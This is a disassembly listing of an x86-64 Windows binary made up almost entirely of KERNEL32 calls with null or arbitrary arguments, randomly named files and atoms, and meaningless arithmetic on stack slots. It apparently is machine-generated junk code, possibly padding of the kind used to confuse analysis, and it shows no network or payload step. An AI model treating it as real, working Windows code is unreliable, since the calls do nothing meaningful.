mov r8d, 4
mov edx, 0xc0000000
lea rcx, str.eEKXE5dwu1FwQK2fAmbe
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x9a28], rax
lea rcx, str.mPIhAhZ6Zqflm7xxlZ
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1010], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x99c8], rax
xor r8d, r8d
mov edx, 0x10
lea rcx, [rsp + 0x1f5c0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x46fc], eax
mov eax, dword [rsp + 0x470c]
mov dword [0x14024f31c], eax
mov rax, qword [rsp + 0x9838]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9888]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9868]
mov qword [rcx], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x9a30], rax
mov rax, qword [rsp + 0x9738]
mov rcx, qword [rsp + 0x8850]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8650], rax
movzx ecx, word [rsp + 0xf10]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf10], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalDeleteAtom]
mov r9d, 0x8c0
xor r8d, r8d
lea rdx, [rsp + 0x9990]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4a04], eax
xor r9d, r9d
lea r8, [rsp + 0x9908]
mov rdx, qword [rsp + 0x96f0]
mov rcx, qword [rsp + 0x9798]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4810], eax
movzx eax, byte [rsp + 0x1d3]
mov rcx, qword [rsp + 0x9218]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x26f], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x9850], rax
mov rax, qword [0x14024f378]
movzx eax, word [rax]
mov word [rsp + 0x1030], ax
movsx eax, word [rsp + 0xfe8]
mov rcx, qword [rsp + 0x9870]
movsx ecx, word [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0x98b0]
mov word [rcx], ax
mov r9d, 0x12ce
xor r8d, r8d
lea rdx, [rsp + 0x9818]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x49bc], eax
movsx eax, byte [rsp + 0x190]
movsx ecx, byte [rsp + 0x27b]
add eax, ecx
mov byte [rsp + 0x16a], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommError]
mov dword [rsp + 0x20220], 0x11c
mov rax, qword [rsp + 0x93e0]
mov rcx, qword [rsp + 0x9a20]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4140], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x9850], rax
lea rcx, [rsp + 0x8ee8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov eax, dword [rsp + 0x4074]
mov ecx, dword [rsp + 0x4738]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4948], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x9500], rax
lea rcx, [rsp + 0x9000]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x8e68]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x93e8]
movzx ecx, word [rcx]
cdq
idiv ecx
mov word [0x14024f394], ax
lea rax, [rsp + 0x276]
mov qword [rsp + 0x9a38], rax
mov eax, dword [rsp + 0x4880]
mov rcx, qword [rsp + 0x9538]
mov qword [rsp + 0x9a40], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9a40]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x93b8]
mov dword [rcx], eax
lea rcx, str.cmtA_E_Gb
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1034], ax
lea rax, [rsp + 0x7f10]
mov qword [rsp + 0x9a48], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9718], rax
mov rax, qword [rsp + 0x8508]
mov rcx, qword [rsp + 0x9a18]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x99f0]
mov qword [rcx], rax
xor r9d, r9d
lea r8, [rsp + 0x8f90]
mov rdx, qword [rsp + 0x9740]
mov rcx, qword [rsp + 0x9920]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4918], eax
movsx eax, word [rsp + 0xf90]
movsx ecx, word [rsp + 0xf38]
xor eax, ecx
mov rcx, qword [rsp + 0x96e8]
mov word [rcx], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x8ce8]
mov eax, dword [rax]
mov dword [rsp + 0x4a08], eax
mov rcx, qword [rsp + 0x9598]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x494c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 2
mov edx, 0xc0000000
lea rcx, str.Zyh1D7KJVlsXe
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x9a50], rax
movzx ecx, word [rsp + 0xf20]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf28], ax
mov rcx, qword [rsp + 0x9890]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4960], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movsx eax, byte [rsp + 0x190]
mov rcx, qword [rsp + 0x98a0]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x9160]
mov byte [rcx], al
movzx ecx, word [rsp + 0xfe0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x100c], ax
movzx ecx, word [rsp + 0xf68]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x101c], ax
lea rcx, [rsp + 0x9a58]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0x9778]
mov eax, dword [rax]
mov dword [rsp + 0x4a0c], eax
mov rax, qword [rsp + 0x8e68]
movzx eax, word [rax]
imul eax, eax, 0x903
mov word [0x14022fb80], ax
mov dword [rsp + 0x20], 0x1603
mov r9d, 0x18c0
mov r8d, 0x2ac0
mov edx, 0x1f32
mov rcx, qword [rsp + 0x9770]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x49fc], eax
mov edx, 0x19c1
mov rcx, qword [rsp + 0x9570]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x49c0], eax
mov rax, qword [rsp + 0x9008]
mov rcx, qword [rsp + 0x9208]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x95c8]
mov qword [rcx], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx eax, byte [rsp + 0x276]
mov rcx, qword [rsp + 0x9640]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x282], al
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
mov rax, qword [rsp + 0x9720]
mov rax, qword [rax]
mov rcx, qword [0x14022fb60]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8918], rax
mov rax, qword [rsp + 0x99c0]
mov eax, dword [rax]
mov dword [rsp + 0x48cc], eax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
mov rcx, qword [rsp + 0x8f68]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x46ec], eax
lea rax, [rsp + 0xf38]
mov qword [rsp + 0x9a60], rax
mov dword [rsp + 0x20340], 0x11c
mov rax, qword [rsp + 0x9a20]
mov ecx, dword [rsp + 0x49b4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4928], eax
movsx eax, byte [rsp + 0x271]
mov rcx, qword [rsp + 0x9528]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xef], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0xa8d
mov r9d, 0x30f2
mov r8d, 0xbdbacb41
mov edx, 1
mov rcx, qword [rsp + 0x97c0]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x494c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rax, [rsp + 0x257]
mov qword [rsp + 0x9a68], rax
mov rax, qword [rsp + 0x9858]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xeec]
add eax, ecx
mov word [0x14024f338], ax
movzx ecx, word [rsp + 0xf88]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xfec], ax
mov rcx, qword [rsp + 0x8d20]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x9010]
mov rcx, qword [rsp + 0x95e0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8918], rax
mov r9d, 0x7a0
xor r8d, r8d
lea rdx, [rsp + 0x9998]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4a10], eax
lea rax, [rsp + 0x274]
mov qword [rsp + 0x9a70], rax
xor r8d, r8d
mov edx, 8
lea rcx, [rsp + 0x1fec0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x48f0], eax
mov rax, qword [0x14024f330]
mov ecx, dword [rsp + 0x4904]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x46e8], eax
lea rcx, [rsp + 0x9968]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov r9d, 0x1981
xor r8d, r8d
lea rdx, [rsp + 0x8ce0]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4a14], eax
mov rax, qword [rsp + 0x96c0]
movzx eax, word [rax]
mov word [rsp + 0x1038], ax
mov rax, qword [rsp + 0x9a60]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9518]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9980]
mov word [rcx], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetWriteWatch]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
movzx ecx, word [rsp + 0xfd0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x103c], ax
mov rcx, qword [rsp + 0x9728]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rdx, [rsp + 0x9a78]
mov rcx, qword [rsp + 0x9828]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4964], eax
mov r9d, 0x1b30
xor r8d, r8d
lea rdx, [rsp + 0x96d0]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4700], eax
lea rcx, [rsp + 0x96f0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movzx ecx, word [rsp + 0xf7c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1040], ax
lea rcx, [rsp + 0x1a3d8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MulDiv]
movzx ecx, word [rsp + 0xf28]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf6c], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x9a80], rax
mov rax, qword [rsp + 0x97e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4898]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x4478], eax
lea rax, [rsp + 0x255]
mov qword [rsp + 0x9a88], rax
xor r8d, r8d
mov edx, 8
lea rcx, [rsp + 0x1f6e0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x46c0], eax
mov rax, qword [rsp + 0x9560]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9708]
mov qword [rsp + 0x9a90], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9a90]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x9970], rax
mov eax, dword [rsp + 0x4434]
movzx ecx, al
mov eax, dword [rsp + 0x49c4]
shl eax, cl
mov dword [rsp + 0x4290], eax
mov r9d, 0x93b
xor r8d, r8d
lea rdx, [rsp + 0x9728]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4938], eax
movzx eax, byte [rsp + 0x280]
mov byte [0x14024f31a], al
mov rax, qword [rsp + 0x9858]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9520]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x98f0]
mov word [rcx], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x9a98], rax
mov rax, qword [rsp + 0x97c8]
mov rcx, qword [rsp + 0x9838]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x88b0], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x8cf0], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EraseTape]
lea rdx, [rsp + 0x8d28]
mov rcx, qword [rsp + 0x9800]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4a18], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x99c8], rax
movzx ecx, word [rsp + 0xfbc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf3c], ax
lea rcx, [rsp + 0x1a588]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0x95e0]
mov qword [rsp + 0x9aa0], rax
mov rax, qword [rsp + 0x96a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4120]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x49f0], eax
mov rcx, qword [rsp + 0x93a8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx ecx, word [rsp + 0xf88]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1004], ax
mov rcx, qword [rsp + 0x9728]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movsx eax, byte [rsp + 0x278]
mov rcx, qword [rsp + 0x8f98]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x25a], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x8d48], rax
mov rax, qword [rsp + 0x9940]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x93c8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1000], ax
lea rcx, [rsp + 0x1a558]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0x9218]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8e18]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x279], al
mov eax, dword [rsp + 0x46a0]
mov dword [rsp + 0x4a1c], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommError]
lea rcx, str.SRaf_AU_3bNKae
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x100c], ax
movzx eax, word [rsp + 0xfb0]
mov word [0x14024f318], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x9aa8], rax
movzx ecx, word [rsp + 0x100c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1008], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommBreak]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x97c8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7b28]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x98b8], rax
mov rax, qword [rsp + 0x9670]
mov rax, qword [rax]
mov qword [rsp + 0x9ab0], rax
mov rax, qword [rsp + 0x9640]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9218]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x277], al
lea rcx, [rsp + 0x95d0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessAffinityMask]
mov eax, dword [rsp + 0x46c4]
mov ecx, dword [rsp + 0x49b4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8e00]
mov dword [rcx], eax
lea rcx, [rsp + 0x1a408]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMemoryResourceNotification]
movsx eax, word [rsp + 0x1020]
mov rcx, qword [rsp + 0x96e8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x9a0], ax
mov rax, qword [rsp + 0x9560]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8650]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9738]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9658]
movzx eax, byte [rax]
mov byte [rsp + 0x284], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.reGaN7nbKp3lnShu5of9
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x9ab8], rax
mov eax, dword [rsp + 0x43a8]
mov rcx, qword [rsp + 0x93b8]
mov qword [rsp + 0x9ac0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9ac0]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x9588]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9a68]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9730]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [0x14024f380]
mov byte [rcx], al
mov rcx, qword [rsp + 0x9710]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rcx, [rsp + 0x9610]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMessageWaitingIndicator]
lea rax, [rsp + 0x485c]
mov qword [rsp + 0x9ac8], rax
movzx eax, word [rsp + 0x7a0]
mov rcx, qword [rsp + 0x8f20]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1030], ax
mov rax, qword [rsp + 0x9a00]
movzx eax, word [rax]
mov rcx, qword [0x14024f3b0]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x93e8]
mov word [rcx], ax
movsx eax, byte [rsp + 0x27f]
mov rcx, qword [rsp + 0x97a8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x153], al
mov rax, qword [rsp + 0x97e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x491c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4928], eax
mov r9d, 0x1ade
xor r8d, r8d
lea rdx, [rsp + 0x8e28]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4a20], eax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeInfo]
lea rax, [rsp + 0xc28]
mov qword [rsp + 0x9ad0], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9698], rax
movzx eax, word [rsp + 0xfc4]
movzx ecx, word [rsp + 0x7a0]
imul eax, ecx
mov word [rsp + 0x5cc], ax
movzx ecx, word [rsp + 0xfe4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xef8], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x9ad8], rax
mov rax, qword [rsp + 0x9a10]
mov eax, dword [rax]
mov dword [rsp + 0x4750], eax
movzx ecx, word [rsp + 0xf88]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xff4], ax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x97a0], rax
lea rcx, [rsp + 0x1a5b8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodeSystemPointer]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushViewOfFile]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x2103
mov r9d, 0x2240
mov r8d, 0x2207566
mov edx, 2
mov rcx, qword [rsp + 0x9920]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x49ec], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9ae0], rax
movzx ecx, word [rsp + 0xee8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf6c], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MapUserPhysicalPagesScatter]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x8e38], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_TransmitCommChar]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MulDiv]
xor r8d, r8d
mov edx, 0x10
lea rcx, [rsp + 0x1f5c0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4974], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9ae8], rax
mov dword [rsp + 0x20], 0x243f
mov r9d, 0x13d0
mov r8d, 0x2c92
mov edx, 0x1225
mov rcx, qword [rsp + 0x9638]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x49f4], eax
lea rcx, [rsp + 0x1a4f8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0x9730]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8e18]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [0x14024f358]
mov byte [rcx], al
mov rax, qword [rsp + 0x7f10]
mov qword [rsp + 0x9af0], rax
mov rax, qword [rsp + 0x9578]
mov rcx, qword [rsp + 0x7b28]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x96a0], rax
lea rax, [rsp + 0x7f10]
mov qword [rsp + 0x9af8], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MulDiv]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 8
mov edx, 0x80000000
lea rcx, str.tI7hQ1wM282N8
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x9b00], rax
mov r9d, 0x1a5b
xor r8d, r8d
lea rdx, [rsp + 0x93a8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4a10], eax
mov rax, qword [rsp + 0x99c0]
mov ecx, dword [rsp + 0x49a4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4904], eax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadTimes]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x9708]
mov rcx, qword [rsp + 0x8b08]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9008]
mov qword [rcx], rax
xor r8d, r8d
mov edx, 4
lea rcx, [rsp + 0x1fec0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4934], eax
mov rax, qword [rsp + 0x9a20]
mov eax, dword [rax]
mov dword [rsp + 0x4a24], eax
lea rdx, [rsp + 0x9b08]
mov rcx, qword [rsp + 0x9638]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4954], eax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
mov rax, qword [rsp + 0x8ef0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x190]
add eax, ecx
mov byte [rsp + 0x27a], al
movsx eax, word [rsp + 0x1000]
mov rcx, qword [rsp + 0x98b0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xe44], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMailslotInfo]
movzx eax, word [rsp + 0xeec]
mov rcx, qword [rsp + 0x93e8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x14022fb84], ax
mov rax, qword [rsp + 0x9640]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x282]
sub eax, ecx
mov rcx, qword [rsp + 0x9a70]
mov byte [rcx], al
mov r9d, 0x26dc
xor r8d, r8d
lea rdx, [rsp + 0x98c8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x48fc], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rcx, str.x8kP_Of93Q8d.F9Ehk
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0xfd8], ax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x3177
mov r9d, 0x99f
mov r8d, 0xebc97c5e
mov edx, 2
mov rcx, qword [rsp + 0x99e8]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x49dc], eax
lea rcx, [rsp + 0x1a408]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov r9d, 2
lea r8, [rsp + 0x96f0]
mov rdx, qword [rsp + 0x9808]
mov rcx, qword [rsp + 0x99e8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4920], eax
lea rcx, [rsp + 0x9b10]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x9500], rax
mov dword [rsp + 0x20], 0x18b0
mov r9d, 0x31a5
mov r8d, 0x2e4e
mov edx, 0x1bb7
mov rcx, qword [rsp + 0x9a28]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x49dc], eax
mov rax, qword [rsp + 0x99c0]
mov eax, dword [rax]
mov dword [rsp + 0x4a28], eax
lea rcx, [rsp + 0x1a498]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x10
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 4
mov edx, 0x40000000
lea rcx, str.qa1NJvO8xCguDhc7ewfb
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x9b18], rax
xor r8d, r8d
mov edx, 1
lea rcx, [rsp + 0x1fa40]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
